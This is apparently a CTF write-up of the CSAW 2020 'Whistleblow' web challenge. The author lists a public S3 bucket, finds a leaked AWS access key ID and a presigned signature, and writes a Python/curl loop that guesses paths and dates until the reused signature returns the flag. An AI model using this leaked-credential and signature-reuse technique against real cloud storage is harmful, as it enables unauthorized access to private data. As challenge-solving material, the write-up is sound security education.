Tags: aws s3 presigned-url signature guess 

Rating: 4.5

Whistleblow
250 points, Web

Congratulations, CSAW. This was, by far, the guessiest challenge I have ever seen.
The challenge starts off with a letter:
```
Hey Fellow Coworker,

Heard you were coming into the Sacremento office today. I have some sensitive information for you to read out about company stored at ad586b62e3b5921bd86fe2efa4919208 once you are settled in. Make sure you're a valid user!
Don't read it all yet since they might be watching. Be sure to read it once you are back in Columbus.

Act quickly! All of this stuff will disappear a week from 19:53:23 on September 9th 2020.

- Totally Loyal Coworker
```
ad586b62e3b5921bd86fe2efa4919208? What is that? Is it a crypto address of some kind? Some type of md5 hash? OMG what ambiguity! What? Some hints came out talking about "preload"? What? "preload" is related to AWS S3? How obvious that a 128-bit hash without a URL would be and S3 bucket!
Sarcasm aside, that's where the challenge starts. After creating an AWS account for authentication credentials, I queried the s3 bucket under that name in us-west-1 (due to the letter saying Sacremento).
```
$ aws s3 ls s3://ad586b62e3b5921bd86fe2efa4919208
PRE 06745a2d-18cd-477a-b045-481af29337c7/
PRE 23b699f9-bc97-4704-9013-305fce7c8360/
PRE 24f0f220-1c69-42e8-8c10-cc1d8b8d2a30/
PRE 286ef40f-cee0-4325-a65e-44d3e99b5498/
PRE 2967f8c2-4651-4710-bcfb-2f0f70ecea5c/
PRE 2b4bb8f9-559e-41ed-9f34-88b67e3021c2/
PRE 32ff8884-6eb9-4bc5-8108-0e84a761fe2c/
PRE 3a00dd08-541a-4c9f-b85e-ade6839aa4c0/
PRE 465d332a-dd23-459b-a475-26273b4de01c/
PRE 64c83ba4-8a37-4db8-b039-11d62d19a136/
PRE 6c748996-e05a-408a-8ed8-925bf01be752/
PRE 7092a3ec-8b3a-4f24-bdbd-23124af06a41/
PRE 84874ee9-cee1-4d6b-9d7a-24a9e4f470c8/
PRE 95e94188-4dd1-42d8-a627-b5a7ded71372/
PRE a50eb136-de5f-4bb6-94ef-e1ee89c26b05/
PRE b2896abb-92e7-4f76-9d8a-5df55b86cfd3/
PRE c05abd3c-444a-4dc3-9edc-bb22293e1e0f/
PRE c172e521-e50d-4e30-864b-f12d72f8bf7a/
PRE c9bf9d72-8f62-4233-9cd6-1a0f8805b0af/
PRE ff4ad932-5828-496b-abdc-6281600309c6/
```
And... it's a bunch of random folders. And each of these folders have a bunch of random files. Great.
So... I did what any sane person would do and downloaded all the files and all the folders, then cat'd all files and manually sifted through the jumbled mess. Turns out most of the files are 30 bytes large with only lowercase letters, but some others are more... interesting. I used find to extract all files smaller or larger than 30 bytes.
```
$ find . -type f -size '+30c'
./6c748996-e05a-408a-8ed8-925bf01be752/c1fe922c-aec8-4908-a97d-398029d39236/77010958-c8ed-4a7b-802a-f189d0f76ec0.txt
./3a00dd08-541a-4c9f-b85e-ade6839aa4c0/3fa52aaa-78ed-4261-8bcc-04fc0b817395/4bcd2707-48db-4c04-9ec7-df522de2ccd7.txt
$ find . -type f -size '-30c'
./c9bf9d72-8f62-4233-9cd6-1a0f8805b0af/acbad485-dd20-4295-99fa-f45e3d5bdb45/1eaddd5d-fe24-4deb-8e6e-5463f395fa03.txt
./7092a3ec-8b3a-4f24-bdbd-23124af06a41/7db7f9b0-ab6a-4605-9fc1-1cc8ba7877a1/1b56b43a-7525-429a-9777-02602b52dc1e.txt
```
Looks like there were four files which weren't of length 30. Let's look at all of them.
```
AKIAQHTF3NZUTQBCUQCK
.sorry/.for/.nothing/
3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b
s3://super-top-secret-dont-look
```
So... one of them was a directory, one of them was an AWS identity, one of them was a hash (signature) of some kind, and one of them was an s3 bucket. Nice.
Where was this second s3 bucket? Well, according to the letter, it should be near Columbus, Ohio. us-east-2 is in Ohio, so that's our choice. Unfortunately, when I tried to query that bucket, my access to it was denied. Looks like I'll need to use a presigned signature. After tons of Googling, I was able to pull up what looked to be Amazon's documentation for their v4 presigning protocol. By adapting the information we have in our letter as our signature date and expiry, we were able to fill out most of the fields. However, we still weren't sure what the directory was or whether the timezone specified in the letter was Zulu or EST.

I automated this guessing.

```
$ cat guessCTF.py
import os, time

#times = [1600286003, 1600286004, 1600286003+3600*4, 1600286003+3600*7, 1600286004+3600*4, 1600286004+3600*7]
folds = ["", ".sorry", ".sorry/.for", ".sorry/.for/.nothing", ".sorry/", ".sorry/.for/", ".sorry/.for/.nothing/"]
folds2 = []

for i in folds:
if len(i)==0 or i[-1] == '/':
folds2.append(i + 'flag.txt')

folds += folds2

for fold in folds:
for pend in ["%2F20200909%2Fus-east-2%2Fs3%2Faws4_request&X-Amz-Date=20200909T195323Z&X-Amz-Expires=604800", "%2F20200910%2Fus-east-2%2Fs3%2Faws4_request&X-Amz-Date=20200910T005323Z&X-Amz-Expires=604800"]:
os.system("curl -k 'https://super-top-secret-dont-look.s3.us-east-2.amazonaws.com/%s?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAQHTF3NZUTQBCUQCK%s&X-Amz-SignedHeaders=host
+ "&X-Amz-Signature=3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b'" % (fold, pend))
```

And in the middle of a lot of errors, we find the flag:
`...snip...0a 55 4e 53 49 47 4e 45 44 2d 50 41 59 4c 4f 41 44</CanonicalRequestBytes><RequestId>606AA7C8D430C274</RequestId><HostId>2orULiGTdbuCaZVlhTvnkoevvyhJYw0HQAdYjjS8cAlFW9ZlMpzzfxK0ZaNjGWVU9WUSJJhCs94=</HostId></Error>flag{pwn3d_th3_buck3ts} <Error>SignatureDoesNotMatch<Message>The request signature we calculated does not match the signature you provided. Check your key and signing method.</Message><AWSAccessKeyId>AKIAQHTF3NZUTQBCUQCK</AWSAccessKeyId><StringToSign>AWS4-HMAC-SHA256 20200910T005323Z 20200910/us-east-2/s3/aws4_request 03bfea4d4190458db117167a75b25e30857d683fe59f13a3b286ab8735db4cfd</StringToSign><SignatureProvided>3560cef4b02815e7c5f95...snip...`

Original writeup (https://www.id0.one/blog/content/4.bp.html#web250).